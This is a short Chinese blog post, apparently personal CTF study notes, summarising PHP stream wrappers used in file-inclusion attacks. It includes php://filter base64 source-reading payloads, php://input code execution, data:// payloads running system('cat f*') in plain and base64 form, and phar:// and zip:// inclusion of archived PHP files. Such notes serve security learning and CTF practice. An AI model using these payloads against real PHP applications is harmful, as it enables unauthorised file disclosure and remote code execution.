PHP偽協議總結
阿新 • • 發佈:2020-12-21
P H P 偽 協 議 總 結
平時做ctf題其中檔案包含命令執行都有涉及php偽協議的東西,別人總結的總給是別人的,自己總結一波也算在學習一遍。其中還有一些偽協議沒用碰到過,遇到了再新增
目錄
php偽協議
file://
php://
data://
glob://
phar://
zip://
總覽
file://
php://
data://
glob://
phar://
zip://
file://協議
條件: allow_url_fopen:off/on allow_url_include :off/on 作用: 用於讀取本地檔案安且不受allow_url_foopen的影響 只能傳入絕對路徑(絕對不能使用相對路徑 會報錯) 用法: file://[檔案的絕對路徑和檔名]
php://協議
php://
條件:
allow_url_fopen=off
allow_url_include=off
用法:
php://作用為訪問輸入輸出流
php://filter
例如: ?id=php://filter/read=convert.base64-encode/resource=[檔名](針對php檔案需要base64編碼) 說明: resource=<要過濾的資料流> 這個引數是必須的。它指定了你要篩選過濾的資料流 read=<讀鏈的篩選列表> 該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。 write=<寫鏈的篩選列表>該引數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔 。 <;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作字首 的篩選器列表會視情況應用於讀或寫鏈。 用法: php://filter/read=convert.base64-encode/resource=[檔名]
php://input
條件:
allow_url_include=on
當enctype=”multipart/form-data”時,php://input是無效的
用法:
將post請求的資料當作php程式碼執行。當傳入的引數作為檔名開啟時,可以將引數設為php://input
例如:
flag=php://input
data://協議
條件: Allow_url_fopen:on Allow_url_include:on 用法: data://text/plain, data://text/plain;base64, 例如: ?c=data://text/plain,<?php system('cat f*');?> ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==是<?php system('cat f*');?>的base64編碼
glob://協議
用法:
-查詢匹配的檔案路徑模式
C = $it = new DirectoryIterator("glob://路徑*.php");
foreach($itas$f){
echo$f->getFilename()."\n";
//printf("%s:%.1FK/n",$f->getFilename(),$f->getSize()/1024);
}exit();
phar://協議
條件:
allow_url_fopen:off/on
allow_url_include:off/on
作用:
訪問zip格式壓縮包內容
用法:
file=phar://[壓縮報的相對路徑]/xxx.zip/[子檔名]
例如:
file=phar://c:/xxx/xxx/xxx/phpinfo.zip/phpinfo.php
zip://協議
條件:
allow_url_fopen:off/on
allow_url_include:off/on
作用:
訪問壓縮檔案中的子檔案,不需要指定字尾名,可修改為任意字尾(jpg.png....)
使用:
zip://[壓縮檔案絕對路徑]%23[壓縮檔案中的子檔名]
例如:
file=zip://C:\xxx\xxx\xxx\phpinfo.jpg%23phpinfo.php